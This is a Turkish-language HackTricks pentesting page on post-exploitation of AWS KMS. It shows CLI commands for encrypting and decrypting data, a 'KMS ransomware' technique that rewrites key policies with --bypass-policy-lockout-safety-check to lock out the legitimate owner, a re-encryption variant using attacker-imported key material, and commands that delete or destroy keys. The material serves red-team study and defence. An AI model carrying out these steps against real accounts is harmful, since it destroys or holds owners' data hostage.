AWS - KMS Post Exploitation

Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

KMS

Daha fazla bilgi için kontrol edin:

pageAWS - KMS Enum

Bilgi Şifreleme/Şifre Çözme

  • Bir simetrik anahtar kullanarak

# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Asimetrik bir anahtar kullanarak:

# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Fidye Yazılımı

KMS üzerinde ayrıcalıklı erişime sahip bir saldırgan, anahtarların KMS politikasını değiştirebilir ve hesabına erişim izni verebilir, meşru hesaba verilen erişimi kaldırarak.

Ardından, meşru hesap kullanıcıları, bu anahtarlarla şifrelenmiş herhangi bir hizmetin bilgisine erişemez hale gelir, hesap üzerinde kolay ancak etkili bir fidye yazılımı oluşturulur.

AWS yönetilen anahtarların bu saldırıdan etkilenmediğine dikkat edin, yalnızca Müşteri yönetilen anahtarlar etkilenir.

Ayrıca, bu saldırıyı yalnızca CLI'den mümkün kılan --bypass-policy-lockout-safety-check parametresinin kullanılması gerektiğine dikkat edin (bu seçeneğin web konsolda bulunmaması saldırıyı yalnızca CLI'den mümkün kılar).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Unutmayın ki eğer o politikayı değiştirir ve yalnızca harici bir hesaba erişim verirseniz, ve ardından bu harici hesaptan orijinal hesaba erişimi geri vermek için yeni bir politika belirlemeye çalışırsanız, başarılı olamazsınız.

Genel KMS Fidye Yazılımı

Global KMS Fidye Yazılımı

Başka bir yol, aşağıdaki adımları içerecek şekilde genel bir KMS Fidye Yazılımı gerçekleştirmek için kullanılabilir:

  • Saldırgan tarafından içe aktarılan bir anahtar materyali ile yeni bir anahtar oluşturun

  • Önceki sürümle şifrelenmiş eski verileri yeni sürümle yeniden şifreleyin

  • KMS anahtarını silin

  • Şimdi yalnızca orijinal anahtar materyaline sahip olan saldırgan, şifrelenmiş verileri çözebilir hale gelebilir

Anahtarları Yok Etmek

# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

AWS şimdi önceki eylemlerin farklı bir hesaptan gerçekleştirilmesini engelliyor:

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated